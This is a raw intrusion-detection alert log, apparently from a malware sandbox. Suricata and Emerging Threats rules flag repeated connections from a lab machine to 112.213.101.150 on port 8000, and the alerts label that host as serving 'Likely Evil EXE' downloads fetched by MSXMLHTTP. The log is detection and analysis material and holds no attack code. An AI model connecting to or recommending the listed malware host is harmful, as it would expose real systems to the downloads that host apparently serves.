TCP 192.168.56.101:49516 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49517 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49565 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49628 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49523 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49527 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49633 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49524 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49529 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49683 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49568 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49609 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49546 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49694 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49614 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49640 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49616 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49697 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49575 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49525 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49548 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49666 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49618 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49703 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49531 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49623 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49705 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49631 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49532 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49712 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49667 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49533 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49642 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49721 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49684 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49537 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49644 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49723 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49685 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49557 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49540 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49648 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49724 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49597 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49558 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49651 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49726 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49553 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49605 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49652 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49563 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49737 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49559 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49627 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49564 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49653 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49765 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49567 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49632 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49570 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49657 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49766 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49573 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49634 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49590 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49663 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49576 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49776 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49635 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49596 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49665 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49577 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49780 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49606 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49671 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49637 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49584 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49676 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49645 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49687 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49588 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49782 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49679 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49646 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49601 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49690 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49783 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49691 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49654 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49610 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49692 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49798 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49693 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49661 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49612 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49701 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49698 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49805 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49678 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49624 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49704 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49707 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49636 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49688 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49808 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49710 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49620 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49638 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49696 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49809 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49713 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49625 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49643 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49699 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49816 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49722 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49639 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49649 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49700 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49820 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49647 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49725 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49658 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49706 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49730 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49656 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49659 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49708 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49664 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49731 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49660 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49739 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49720 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49672 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49662 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49742 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49674 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49728 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49669 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49751 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49681 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49736 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49670 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49752 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49682 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49740 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49673 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49753 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49686 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49743 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49675 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49709 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49763 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49695 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49677 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49768 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49732 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49759 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49717 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49689 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49770 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49741 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49719 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49761 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49702 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49775 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49745 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49711 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49729 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49762 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49790 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49746 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49734 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49715 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49774 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49794 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49747 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49716 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49786 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49735 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49758 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49795 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49718 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49755 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49788 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49760 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49800 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49727 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49756 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49797 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49767 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49812 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49733 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49771 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49799 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49769 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49817 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49738 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49777 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49802 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49818 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49772 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49744 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49814 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49779 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49787 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49832 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49748 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49826 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
